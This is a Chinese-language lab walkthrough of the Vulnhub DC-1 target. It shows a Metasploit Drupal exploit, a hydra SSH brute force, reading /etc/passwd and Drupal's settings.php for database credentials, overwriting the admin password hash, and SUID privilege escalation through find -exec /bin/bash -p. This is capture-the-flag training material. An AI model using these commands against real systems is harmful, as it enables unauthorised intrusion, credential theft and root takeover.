DC-1靶机学习

1. 方式一

  1. 使用命令 arp-scan -l 列出当前局域网的所有设备,在DC-1的网络适配器查看到的mac地址和扫描出来的192.168.188.164的MAC地址一致。DC-1靶机学习_第1张图片

     DC-1靶机学习_第2张图片

2. 使用nmap来扫描DC-1

nmap -A 192.168.188.164

DC-1靶机学习_第3张图片

从扫描结果可以看到有22和80端口,因为还不知道DC-1所使用的用户,所有还不能爆破ssh,先访问一下80端口网页。

3. 访问到的web界面,发现需要账号密码登录,但是发现了CMS,使用msf的漏洞库搜索一下。

DC-1靶机学习_第4张图片

CMS:Drupal是开源CMS之一,Drupal是CMS内容管理系统,并且在世界各地使用,受到高度赞赏,Drupal可以作为开源软件免费使用,就是附带了cms的php开发框架。

Drupal:Drupal是使用PHP编写的流行的开源内容管理系统。

Wappalyzer:是一款浏览器插件,通过 Wappalyzer 可以识别出网站采用了那种 web 技术。它能够检测出 CMS 和电子商务系统、留言板、javascript 框架,主机面板,分析统计工具和其它的一些 web 系统

 4. 在msf漏洞库搜索 Drupal,并攻击

启动msf的数据库

启动方法

第一步: 启动postgresql数据库: service postgresql start;或者/etc/init.d/postgresql start;

 第二步:初始化MSF数据库:msfdb init;

 第三步: 运行msfconsole:msfconsole;

DC-1靶机学习_第5张图片

 搜索 search Drupal

DC-1靶机学习_第6张图片

 使用第二个漏洞use 2

 使用show missing查看一下必须要设置的选项

DC-1靶机学习_第7张图片

需要设置rhosts,rhosts就是设置靶机的IP地址

使用set设置:

set rhosts 192.168.188.164

使用show options 可以查看设置好的信息

DC-1靶机学习_第8张图片

 确定设置的信息没问题,输入run开始执行攻击,成功

flag1

ls可以看到第一个flag1.txt

DC-1靶机学习_第9张图片

 第一个flag找到

 5. 查看一下靶机的用户,发现有个flag4的用户

cat /etc/passwd

说明:/etc/passwd文件,系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。

DC-1靶机学习_第10张图片

 6. 使用hydra来爆破密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.188.164 ssh
  • ssh:指定攻击目标的服务类型为ssh。

DC-1靶机学习_第11张图片

 7. 使用ssh连接靶机

命令含义:SSH远程控制服务器作为中介的跳板机,建立本地计算机与特定目标网站之间的加密连接。

DC-1靶机学习_第12张图片

flag4

ls,在flag4账户的目录下找到了flag4,可想而知还有在前面还有两个flag,可能在web上,因为web有账号。

DC-1靶机学习_第13张图片

 8. 查看一下web的配置文件

cd /		# 进入到根目录下

进入到var/www的目录下

/var/www是Linux操作系统中用于存储Web服务器文件的默认目录。

找到drupal的配置文件是/var/www/sites/default/settings.php

Drupal 中sites/default/settings.php 附带了配置文件。

使用命令查看:cat sites/default/settings.php

配置文件路径百度即可找到

在配置文件中看到了flag2还有数据库的信息DC-1靶机学习_第14张图片

数据库的账号:dbuser 密码: R0ck3t

9. 使用命令连接数据库

mysql -u dbuser -p
  • mysql -u 用户名 -p 是连接数据库服务器的命令。

连接成功

DC-1靶机学习_第15张图片

 查看一下数据表

show databses;

DC-1靶机学习_第16张图片

 使用数据表use drupaldb;

 查看表的数据show tables;

DC-1靶机学习_第17张图片

注意表里的users,使用命令查看:

select * from users;

DC-1靶机学习_第18张图片

可以看到管理员admin的账户,但是先要搞hash值

输入quit退出数据库连接

10. 搜索一下passwd

find / -name password*

看到var/www/scripts下有个.sh的脚本。

.sh后缀名的文件被称为脚本Bash的应用程序和使用开发人员文件。 SH文件被称为是创建并保存在Bash的语言,因为它包含的说明都写在该语言。 SH文件可以,如果文本命令shell的命令行界面中键入执行。 SH文件大多是用于程序开发人员,这些文件都是Bash的应用程序非常重要,因为该应用程序主要使用脚本以及命令将被执行,使这个应用程序的工作。

 DC-1靶机学习_第19张图片

 尝试直接执行

DC-1靶机学习_第20张图片

 设置新密码,直接在后面加上设置的新密码

scripts/password-hash.sh 123456

得到一个哈希值,将这个哈希值替换到数据库admin得账号下

11. 进入到数据库中然后修改数据库中admin的哈希值

update users set pass='$S$DvaDIRP8Hxz93/2ZLLeQrczm5gK1BR6KrJX2JmOGPB7boVeFE3wa' where name='admin';

修改成功去web界面登录。

DC-1靶机学习_第21张图片

flag3

找到flag3

DC-1靶机学习_第22张图片

 DC-1靶机学习_第23张图片

 flag3提示,提权并提示 -exec。

12. 提权

find -name flag4.txt -exec /bin/bash -p \;

说明

这个命令是用于在当前目录及其子录中查找名为 "flag4.txt" 的文件,并且在找到每个文件后执行 /bin/bash -p 命令。

每个部分的含义:

  • find:这是一个用于在文件系统中搜索文件和目录的命令。

  • -name flag4.txt:这是 find 命令的选项之一,用于指定要搜索的文件名为 "flag4.txt"。

  • -exec:这也是 find 命令的选项之一,它允许在找到每个文件后执行指定的命令。

  • /bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示以特权(即以 root 用户)运行 bash。这将打开一个交互式 shell 环境,具有 root 用户权限。

所以,当该命令找到名为 "flag4.txt" 的文件时,它将执行 /bin/bash -p 命令,从而打开一个特权 shell 环境。

flag5

DC-1靶机学习_第24张图片

find -name flag4.txt -exec cat /root/thefinalflag.txt \;

DC-1靶机学习_第25张图片

 2. 方式二

使用第一个漏洞进行攻击

DC-1靶机学习_第26张图片

 进入后渗透模块 ls 查看 有一个flag1.txt

DC-1靶机学习_第27张图片

 使用msf攻击成功后输入shell,可以理解为开启了一个shell环境,也就是开启打命令的窗口。

 在进入durpa配置文件在 settings.php 发现 flag2 和数据库一些信息。

DC-1靶机学习_第28张图片

 然后使用netstat -anptl查看3306是否开放,结果只允许本地连接。

DC-1靶机学习_第29张图片

 python交互python -c "import pty;pty.spawn(’/bin/bash‘)"

执行该命令的前提得有python

当拿到一个webshell的时候,能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念

 然后就可以登录数据库。

DC-1靶机学习_第30张图片

修改管理员密码。

scripts目录有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash。

DC-1靶机学习_第31张图片

使用 php scripts/password-hash.sh password生成新密码

 登录到数据库中然后替换原先的密码即可

update drupaldb.users set pass="$S$DVG5qpBNEomk600tFy3tBan2sBb4H.CaigMTAAJ8ByS4HAT4r9x0" where name="admin"; 

登录网页后获取flag3

DC-1靶机学习_第32张图片

SUID提权

执行完python交互后输入cat /etc/passwd,发现用户flag4

DC-1靶机学习_第33张图片

SUID概念:命令一旦具有了SUID标志,这个命令在执行的过程的会短暂的获得root权限。

使用find命令查找拥有特殊权限SUID的命令:

find / -perm -4000

命令说明:查询拥有SUID权限的命令。

如下命令就是会短暂的获得SUID权限的命令。

DC-1靶机学习_第34张图片

find ./ aaa -exec '/bin/sh' \;

输入whoami查看当前登录用户

DC-1靶机学习_第35张图片

 获取flag5

DC-1靶机学习_第36张图片

你可能感兴趣的:(Vulnhub靶机,安全,linux)